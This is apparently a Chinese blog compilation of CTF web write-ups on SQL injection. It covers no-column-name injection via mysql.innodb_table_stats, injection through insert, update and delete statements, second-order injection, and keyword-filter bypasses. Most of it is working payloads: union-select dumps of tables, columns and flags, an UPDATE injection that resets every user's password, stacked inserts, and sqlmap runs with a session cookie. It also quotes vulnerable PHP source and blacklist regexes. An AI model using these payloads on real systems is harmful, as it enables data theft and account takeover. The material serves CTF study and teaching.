[HNCTF 2022 WEEK2]easy_sql

参考文章:https://blog.csdn.net/Jayjay___/article/details/132956781

知识点

这题考察了无列名注入

我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

InnoDb引擎

从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

sys数据库

在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

无列名注入使用条件

无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。

无列名注入原理

无列名注入的原理其实很简单,就是联合查询创建虚拟数据可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错。

本地演示

正常查表

select * from Gu0f3n;
image-20240806200233160

联合查询表中数据

select 1,2,3 union select * from Gu0f3n;(我这里字段是三,具体情况具体分析)

很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表中列名变成了123。

image-20240806200442297

很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表中列名变成了123。

只查一列的字段的值我们可以 yyy是自己命名的虚拟表表名,可以自定义这条sql语句在联合查询创建虚拟表xxx,虚拟列1,2,3的同时查询虚拟表第二列的数据。

select 2 from (select 1,2,3 union select * from Gu0f3n)yyy;

image-20240806200938012

要查多个列的话

select 2 ,3from (select 1,2,3 union select * from Gu0f3n)yyy;

image-20240806201127902

如果有时候把`过滤了我们可以用as

select 1 as a,2 as b, 3 as c union select * from Gu0f3n;

image-20240806201353981

select b from (select 1 as a,2 as b,3 as c union select * from Gu0f3n)yyy;

image-20240806201450310

回到题目

image-20240806201644950

黑名单应该是这样的"/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|flag|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i"

判断类型

因为注释符号都过滤了

id=1'|'1

发现回显和id=1一样确定是字符型

空格/**/绕过

id=1'/**/group/**/by/**/3,'1

发现字段为3

判断回显位

id=0'/**/union/**/select/**/1,2,3/**/where'1

这里where是限制条件 目的还是注释掉闭合

发现回显位置为3

爆库名

id=0'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where'1

得到这些库名

ctf,ctftraining,ctftraining,ctftraining,mysql

爆表名

id=0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where'1

得到这些表名

ccctttfff,flag,news,users,gtid_slave_pos

上面说过 不能得到列名 我们直接爆值

还得自己一个个试

最终flag 在ctftraining.flag下面

id=0'/**/union/**/select/**/1,2,`6`/**/from/**/(select/**/6/**/union/**/select/**/*/**/from/**/ctftraining.flag)Gu0f3n/**/where'1

image-20240806210746263

还有有一种闭合方式%00

其他都一样

[MoeCTF 2022]Sqlmap_boy

万能密码成功进入

admin” or 1=1#

发现注入点 id 闭合方式为单引号字段为3

回显为为 2,3

当前库名为moectf

爆表

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

articles,flag,users

爆列

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' and table_schema=database()--+

flAg

爆值

id=0' union select 1,group_concat(flAg),3 from flag--+

NSSCTF{75b86f27-423b-418f-ac60-08815140a910}

[HUBUCTF 2022 新生赛]ezsql

这题提示获得admin的密码

知识点

参考文章:https://blog.csdn.net/qq_35599248/article/details/122440184

我们常见的sql注入一般都是基于select语句,但是在update,insert,delete也可以注入。

他们的原理都是当执行时遇到 (表达式1)(and/or)(表达式2) ,这种形式的式子时,前后表达式前后都会执行,然后做逻辑运算,最后的结果要么0,要么1。

假如我们sql注入的payload

id=1' AND 3666=3666 AND ′Gu0f3n'='Gu0f3n

SQL查询会变成

SELECT * FROM users WHERE id='1' AND 3666=3666 AND 'Gu0f3n'='Gu0f3n'
  1. id=’1’:
    • 这个部分将 id 设为 1,并闭合了引号。此时,id 的值实际上为 '1'
  2. AND 3666=3666:
    • 这是一个恒真条件,因为3666总是等于3666。这个条件保证了注入部分的合法性,并且在逻辑上不改变查询的结果。
  3. AND ‘Gu0f3n’=’Gu0f3n’:
    • 这是另一个恒真条件,因为Gu0f3n总是等于Gu0f3n。这进一步确保了查询的合法性。

中间插入表达式的位

这种注入方法的关键在于引入两个恒真条件,使得查询语句在逻辑上始终为真。这种情况下,我们可以在中间的表达式位插入任意的SQL语句,而不会引起语法错误或逻辑错误。

具体例子

假设我们希望通过SQL注入来查询数据库的版本信息,构造如下的payload:

id=1' AND 3362=3362 AND (SELECT version())='Gu0f3n'

这个查询会变成:

SELECT * FROM users WHERE id='1' AND 3362=3362 AND (SELECT version())='Gu0f3n'

下面来说一下insert,update,delete的注入。

insert注入

insert语句的格式一般为
insert into values (,,,…);
当我们发现后面插入值的某个位置我们可控时,就可以把那个位置改成多个逻辑连接词的形式,同时insert注入还可以帮助我们任意注册账号。因为插入语句要求我们插入位置的数据类型相同,所以我们要我们可控的位置的数据类型一般都是数值.

insert into Gu0f3n values(1 and if(1>2,0,sleep(3)),'shell','Gu0f3n');

image-20240807094926093

insert into Gu0f3n values(1 and updatexml(1,(select concat(0x7e,version())),3),'shell','Gu0f3n');

image-20240807095633287

update注入

格式

update set column = where <条件>

image-20240807101214936

delete注入

delete from where <条件>
原理还是和上面一样,只是这个要注意一下不要把数据库里面的内容删了,所以一定要保持最后逻辑表达式的结果为假。or连接词慎用。

image-20240807101426609

回到题目

admin弱口令爆破不出

万能密码没试出来

扫目录发现源码泄露

发现update.php

存在sql注入

$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");

注入点在age这里

nickname=Gu0f3n&age=-1,description=(select database())#&description=ss&token=294e68dc4639816cda6dea96ca92603d

爆出库名

demo2

爆表

nickname=Gu0f3b&age=-1,description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&description=sss&token=3ac68ca374a43cc099684f4353f5284d

users

爆列

发现这里将单引号过滤了

将users转16进制

nickname=Gu0f3b&age=-1,description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database())#&description=sss&token=3ac68ca374a43cc099684f4353f5284d

id,username,password,nickname,age,description

得到这些列

看到密码拿密码

nickname=Gu0f3b&age=-1,description=(select group_concat(password) users)#&description=sss&token=3ac68ca374a43cc099684f4353f5284d

MD5存储

3691308f2a4c2f6983f2880d32e29c84

更新所有密码(aaa)

nickname=Gu0f3b&age=11,password=0x3437626365356337346635383966343836376462643537653963613966383038#&description=sss&token=3ac68ca374a43cc099684f4353f5284d

image-20240807115708531

给了段md5

解密发现是iamcool

重启靶机

登录admin/iamcool

image-20240807115943261

[NSSCTF 2022 Spring Recruit]babysql

过滤

hacker!!black_list is /if|and|\s|#|–/i 单引号闭合

%00绕过 空格/**/

字段一位

暴库

username=Gu0f3n'union/**/select/**/database();%00

test

爆表

username=Gu0f3n'union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database();%00

string(10) “flag,users”

爆列

username=Gu0f3n'union/**/select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag';%00

string(4) “flag”

爆值

username=Gu0f3n'union/**/select/**/group_concat(flag)/**/from/**/flag;%00

string(63) “前有巨大宝箱,NSSCTF{629ea8c3-1d54-4eda-a425-dbb573cf61df}”

[October 2019]Twice SQL Injection

注册登录进去

发现输进去的东西被转义

这个页面放弃

登录页面估计也不行

注册页面

6' union select database() # /123456

闭合方式为’’

然后在登录发现爆库名

ctftraining

爆表

6' union select group_concat(table_name) from information_schema.tables where table_schema=database() # 

flag,news,users

6' union select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema=database() # 

flag

爆值

6' union select group_concat(flag) from flag # 

NSSCTF{fe961858-8992-45d4-99a6-2b1427517f09}

[UUCTF 2022 新生赛]ezsql

输入万能密码

admin‘) or 1=1;#

发现被反转了了而且or被过滤了

//your sql:SELECT * FROM users WHERE passwd=(‘’) AND username=(‘#;1=1 )���nimda’) LIMIT 0,1

https://www.abcdtools.com/reverse

输入反转后的

#;1=1 ro ) 'nimda

发现登录进去了

判断字段回显位

#;2,1 tceles noinu )'nimda

两位 12

爆库

#;)(esabatad,1 tceles noinu )'nimda

UUCTF

or被过滤 爆表

#;)(esabatad=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )(esabatad,)eman_elbat(tacnoc_puoorrg tceles noinu )'nimda

flag,users

爆列

#;)(esabatad=amehcs_elbat dna 'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )(esabatad,)eman_nmuloc(tacnoc_puoorrg tceles noinu )'nimda

UUCTF

保值

#;galf moorrf )(esabatad,)FTCUU(tacnoc_puoorrg tceles noinu )'nimda

//Your Login name:NSSCTF{53358f22-a9b8-4397-99bd-a381194cc0d2}
//Your Password:UUCTF

[HNCTF 2022 WEEK4]fun_sql

源码

<?
include "mysql.php";
include "flag.php";

if ( $_GET['uname'] != '' && isset($_GET['uname'])) {

$uname=$_GET['uname'];

if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker');

}

$sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>";


mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result);

echo "<br>";

echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";

}
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);

源码直接给出过滤的字符

1’’1注释闭合字符

暴力查字段 发现三段 都有回显

?uname=0'union/**/select/**/1,2,3'1

暴库

?uname=0'union/**/select/**/1,database(),3'1

ctf

  • /regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i

    这个正则表达式包含了多个关键词和符号,每个关键词或符号之间用 | 分隔,表示“或”关系。正则表达式中的每个部分分别匹配如下内容:

    1. regexp: 匹配字符串 regexp
    2. left: 匹配字符串 left
    3. extractvalue: 匹配字符串 extractvalue
    4. floor: 匹配字符串 floor
    5. reverse: 匹配字符串 reverse
    6. update: 匹配字符串 update
    7. between: 匹配字符串 between
    8. flag: 匹配字符串 flag
    9. =: 匹配等号 =
    10. >: 匹配大于号 >
    11. <: 匹配小于号 <
    12. and: 匹配字符串 and
    13. \|: 匹配竖线符号 |
    14. right: 匹配字符串 right
    15. substr: 匹配字符串 substr
    16. replace: 匹配字符串 replace
    17. char: 匹配字符串 char
    18. &: 匹配符号 &
    19. \\$: 匹配美元符号 $,需要双反斜杠来转义。
    20. 0x: 匹配十六进制前缀 0x
    21. sleep: 匹配字符串 sleep
    22. \#: 匹配井号 #
  • /i

    这个模式修饰符表示不区分大小写匹配。

if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";

}
if ($row[1] === $uname)
{
die($flag);
}
}


单拿出来

  • if ($row[1] === $uname): 检查 $row 数组中索引为 1 的元素是否等于 $uname
  • die($flag);: 如果相等,则终止脚本执行并输出 $flag 的值。

我们直接插入一段自定义的列进去然后让uname等于我们自定义的列即可

之前讲过的insert注入

?uname=0'union/**/select/**/1,database(),3;insert/**/into/**/ccctttfff/**/values('ss','Gu0f3n','1');'1

之后让uname=Gu0f3n

NSSCTF{f87847e6-6220-417c-9b7b-2db8d9b5e9fb}

[NSSRound#1 Basic]sql_by_sql

存在二次注入

首先随便创建一个账号进入修改密码

查看源码

“ update user set password=’%s’ where username=’%s’; ”

那么我们只要创建一个admin’–+就可以绕过闭合

之后修改自己想要的密码登录admin

image-20240807164508710

查询就两个回显

exist 和no user

说明能够执行但没回显,没报错

考虑盲注

sqlmap试试

image-20240807165800615

sqlmap -u http://node4.anna.nssctf.cn:28285/query --data='id=1' --cookie='eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZrM0kw.N-LX3sRXzmBn5q_pA4bwwPt9OAU'

爆表

sqlmap -u http://node4.anna.nssctf.cn:28285/query --data='id=1' --cookie='eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZrM0kw.N-LX3sRXzmBn5q_pA4bwwPt9OAU' --tables

image-20240807165948914

sqlmap -u http://node4.anna.nssctf.cn:28285/query --data='id=1' --cookie='eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZrM0kw.N-LX3sRXzmBn5q_pA4bwwPt9OAU' --columns

爆列

image-20240807170149812

爆值

sqlmap -u http://node4.anna.nssctf.cn:28285/query --data='id=1' --cookie='eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZrM0kw.N-LX3sRXzmBn5q_pA4bwwPt9OAU' -T flag -C flag --dump

image-20240807170351944

NSSCTF{68025097-def3-4ea7-9dda-af4b16c6f1a4}

[NSSRound#3 Team]This1sMysql

<?php
show_source(__FILE__);
include("class.php");
$conn = new mysqli();

if(isset($_POST['config']) && is_array($_POST['config'])){
foreach($_POST['config'] as $key => $val){
$value = is_numeric($var)?(int)$val:$val;
$conn->set_opt($key, $value);
}
}

if(isset($_POST['mysql']) && is_array($_POST['mysql'])){
$my = $_POST['mysql'];
if($conn->real_connect($my['host'], $my['user'], $my['pass'], $my['dbname'], $my['port'])){
echo "connect success";
$conn->query("show databases;");
}
else{
echo "connect fail";
}

}
else{
include("function.php");
}

$conn->close();
?>